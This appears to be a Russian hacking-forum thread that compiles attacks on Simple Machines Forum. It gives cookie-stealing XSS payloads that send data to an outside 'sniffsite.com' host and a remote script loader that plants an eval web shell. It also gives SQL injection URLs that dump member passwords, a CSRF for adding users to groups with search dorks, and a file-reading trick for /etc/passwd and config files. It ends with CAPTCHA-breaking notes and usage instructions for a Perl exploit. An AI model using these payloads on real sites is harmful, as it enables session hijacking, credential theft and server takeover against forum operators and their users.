![]() |
[Обзор уязвимостей Simple Machines Forum]
[SMF 1.0 Beta 5 Public]
XSS Удаленный пользователь может выполнить XSS нападение. SMF не фильтрует данные, представленные пользователем в тэге '[size]'. Пример: Код:
size=expression(eval(unescape(document.URL. substring(document.URL.length-41,document.URL. length))))]Big Exploit[/size]SQL Injection Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре 'msg'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения. Пример: Код:
http://[target]/index.php?action=post;msg= 1%20UNION%20SELECT%20memberName, 0,passwd,0,0%20FROM%20smf_members %20WHERE%201/*;topic=8.0; sesc=[VALIDSESCIDHERE]PHP код:
XSS XSS уязвимость через BB коды. Пример: Код:
[size=0pt][sub][^color=#e1e1e1]g[img]http://re [flash=200,200]http://w onerror=img=new/**/Image();a=String.fromCharCode(?,?,$);img.src=a+document.cookie;this.style.display='none' and end[/flash][/img][/color][/sub][/size]XSS Уязвимость существует из-за недостаточной обработки входных данных в поле "X-Forwarded-For" HTTP заголовка. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта при просмотре злонамеренных данных с помощью "View all members". [SMF 1.1 RC2] Lock Topics Remote Exploit: PHP код:
PHP код:
SQL Injection Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре "cur_cat" в сценарии Sources/ManageBoards.php во время добавления нового форума. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. [SMF 1.1.2] XSS Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности и скомпрометировать целевую систему. 1. Уязвимость существует из-за недостаточной обработки входных данных во время создания или редактирования сообщения форума. Удаленный пользователь может внедрить в сообщение произвольный PHP сценарий и выполнить его на системе с привилегиями Web сервера. 2. Уязвимость существует из-за недостаточного механизма выбора случайных файлов в механизме звуковой CAPTCHA. Удаленный пользователь может произвести брут-форс атаку. |
[SMF 1.1.2]
XSS Отсутствует фильтрация atachment filename Способы эксплуатации: 1. Получение cookie Создаем сообщение и прикрепляем к нему файл со следующим имененем: Код:
attachfilename<img src=. width=1 height=1 onerror=javascript:new Image().src='http://sniffsite.com/s.gif?'+document.cookie>.txtПолучаем cookie 2. Получение web shell'a Создаем сообщение и прикрепляем к нему файл со следующим имененем: Код:
name<img src=. width=1 height=1 onerror=javascript:var s=document.createElement('script');s.src='http: //site.com/smfexp.js';document.documentElement.firstChild. appendChild(s);>.txtЭто код простейшего динамического загрузчика скриптов http://site.com/smfexp.js - адрес загружаемого скрипта smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell smfexp.js: PHP код:
index.php будет содержать следующий код: Код:
@eval($_POST['cd']);Код:
new Image().src='http://sniffsite.com/s.gif?'+document.cookie; |
Simple Machines Forum 1.1.3 Remote Blind SQL Injection Exploit
#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit! # -Binary Search # -Multi-Threaded # -NO benchmark()'s # #Two SQL Injection flaws. #Works with magic_quotes_gpc=On or Off. #Total Bypass of SMF's SQL Injection filter. Active-XSS in SMF <= 1.1.3 Faq по Smf (Заливка шелла) |
[ IP-Spoofing (c) antichat.ru ] Поддержка X_FORWARDER_FOR позволяет обходить бан, использовать краденную через XSS сессию админа в обход привязки по айпи. Оперативно изменять Ip в X_FORWARDER_FOR вам помогут Proxomitron 4.*(http://www.proxomitron.domtech.ru/index.htm) либо Odysseus 2.*(http://www.wastelands.gen.nz/odysseus/index.php) [ DEBUG (c) antichat.ru ] Раскрытие информации о сервере. Достаточно указать в урл debug=1 : http://smf.com/index.php?debug=1 Passive XSS in SMF 1.1.4 Site.com/component/option,com_smf/Itemid,8'XSS,1/topic,1.0/ Site.com/component/option,com_smf/Itemid,5/topic,1.XSS/ phpRaid <= 3.0.b3 (phpBB/SMF) Remote File Inclusion Vulnerabilities SMF Forum Mambo Component <= 1.3.1.3 Include Vulnerability eFiction <= 3.1.1 (path_to_smf) Remote File Include Vulnerabilities |
SMF 1.1.4 - Add User In Group [CSRF]
SMF 1.1.4 - Add User In Group [CSRF]
Код:
|| *************** || Dork (SID): inurl:index.php inurl:sid= "SMF 1.1.4" Код:
</html> Код:
forum/path/index.php?action=membergroups;sa=members;group=groupid;toAdd=usertoadd&add=Add+Members&sc=sid |
passive XSS
passive XSS in SMF mod Shoutbox Simple Machines Forum "SMF Shoutbox" Mod 1.16b-1.14 Reference: http://custom.simplemachines.org/mods/index.php?mod=412 Bug:Persistent XSS SMF Shoutbox is a popular shoutbox mod for Simple Machines Forum.The content of a post variable used to hold the user shout is stored in the database and then displayed to the visitors without being properly filtered.So we can insert HTML or Javascript code in the database which is then displayed in the shoutbox (which is usually at the index page of the forum). Note:the content of this variable is also stored in an html file (sbox.history.html)residing in the main folder where SMF is installed so it is possible to insert and then execute php code under some server configurations. Vulnerable versions: 1.16b down to 1.14 Search Engines query: "powered by smf 1.1" "SMF Shoutbox" Vuln code -In sboxDB.php function missinghtmlentities() fails to sanitize input passed to the shoutbox form Exploit All we have to do is pass to the shoutbox form a string starting with '&#' and ending with ';' Most sites configuration doesnt enable guest visitors to post comments so you should create an account and login in order to exploit.SMF Shoutbox is usually in the index page of the forum so you could easily exploit this issue to collect Admins and user cookies,hijack sessions,etc Pass this string to the shoutbox &#<script>alert(String.fromCharCode(88,83,83))</script>; If successful every visitor of the page should see an alert saying 'XSS' Note: We can inject php code but the output file (sbox.history.html)has an .html extension so in order for the code to execute the server must be configured to parse .html files for php code which is not the default configuration. |
5 Способов залить шелл. https://forum.antichat.ru/thread43633.html
Кстати способ с редактированием шаблонов по сути является и универсальной читалкой файлов из админки. Льем левую тему, можно даже без файлов. Ставим ей путь "/" и юзаем до посинения читалку прибавляя не index.template.php как в вышесказанной теме, а все что угодно (/etc/passwd, /home/admin/public_html/config.php к примеру) Там стоит фильтр только на ../ в самой переменной, но он нам и не нужен. |
SMForum audio Captcha Breaking
Deciphering the Simple Machines Forum audio Captcha
http://securityvulns.ru/Tdocument705.html Вкратце и по сути. Найден новый способ обхода капча кода в SMF. Автор существенно усовершенствовал алгоритм Шанкара, и обошел пропатченную капчу. Фишка в недостаточной рандомизации звука каждой буквы. Из искомого файла выделяются отдельные буквы, затем сравниваются с эталоном. Также автор поломал капчу в PHP-Nuke ( уязвимость в недостаточной длинне парольной строки и рандомной генерации хеша) используя радужную таблицу хешей на 1 миллион комбинаций. От себя добавлю, что используя описанный алгоритм, открываются новые возможности по обходу капчи и во многих других продуктах и сервисах, заботящихся об ущербных пользователях использующих аудио-подтверждение как тест тьюринга. |
Simple Machines Forum <= 1.1.4 Sql Injection Vulnerability
Simple Machines Forum <= 1.1.4 Sql Injection Vulnerability
Уязвимость заключается в обходе слеширования addslashes() , используя мультибайтный символ "%a3%27" в кодировке "big5" Код HTML:
#!/usr/bin/python |
SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
Вложений: 1
SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit http://www.simplemachines.org/ Уязвимость заключается в неопределенном параметре $topic. Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения. Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом. Требуется: 1) register_globals=ON 2) database prefix, default "smf_" 3) Mysql => 4.1 c0d3d by Elekt (www.antichat.ru), 13.12.2007 ::FAQ:: Q1: "[-] SMF unvulnerable" - что это значит? A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя. Q2: "[-] MySQL < 4.1" - что это значит? A2: Версия базы данных ниже требуемой. На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj. Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть. Это неизвестная мне особенность конкретно взятого сервера. Возможно, там стоит IDS или mod_security. Так или иначе - это плохо. Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark(). Из соображений гуманности я не включил модуль доса форума в паблик эксплоит. Q3: "[-] Prefix is not correct" - что это значит? A3: Префикс таблиц форума отличен от стандартного. Необходим перебор его имени по словарю для mysql4. Возможно автоопределение префикса для mysql 5.х В паблик эксплоите функция не реализована. Q4: "[i] Found error." A4: Найдена ошибка. 1) Может возникнуть при нестабильном коннекте вашего интернет подключения. Рекомендуется перезапустить эксплоит. 2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно. Данный баг связан с различиями в структуре таблиц форума разных версий. Рекомендуется указывать айди админа ключом "-i". perl smf114expl.pl -h www.target.com -d / -i 1 [i] информация предоставлена с целью ознакомления |
| Время: 22:41 |